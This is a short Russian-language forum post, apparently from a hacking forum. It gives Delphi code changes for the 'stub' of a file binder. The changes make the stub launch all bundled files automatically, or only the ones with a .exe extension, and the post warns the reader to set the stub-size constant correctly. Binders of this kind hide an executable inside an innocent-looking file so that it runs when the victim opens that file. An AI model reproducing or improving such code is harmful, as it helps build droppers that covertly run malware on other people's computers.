Ну если это так важно для тебя, можно сделать что-бы запускалось без ввода вручную, в стабе найди этот код:Олег,а можно сделать без этого вбивания вручную имён?
Код:
for i:=0 to 100 do
begin
if (_fileHeader._filenameStart[i]<>'') then
ShellExecute(0,nil,pchar(string(ShortPath)+string(_fileHeader._filenameStart[i])),nil,nil,SW_SHOW);
end;
Закоментарь его, а вместо него вставь это:
Код:
ShellExecute(0,nil,pchar(string(ShortPath)+string(_fileHeader._filename[i])),nil,nil,SW_SHOW);
Теперь стаб будет запускать все склеенные файлы...
Что-бы запускать по расширению нужно парсить _fileHeader._filename тут хранится имя файла, т.е. нужно в цикле определить файлы по расширению и их запускать, пример:
Код:
Index:Integer;
for i:=0 to 100 do
begin
Index := Pos('.exe', _fileHeader._filename[i] ); //Проверяем есть-ли .exe в имени
// Если экзешник то запускаем
if (Index>0) then ShellExecute(0,nil,pchar(string(ShortPath)+string(_fileHeader._filename[i])),nil,nil,SW_SHOW);
end
Ну и не забудь потом поменять константу: const mySize=17920; это размер стаба, если неправильно укажешь размер, стаб не заработает !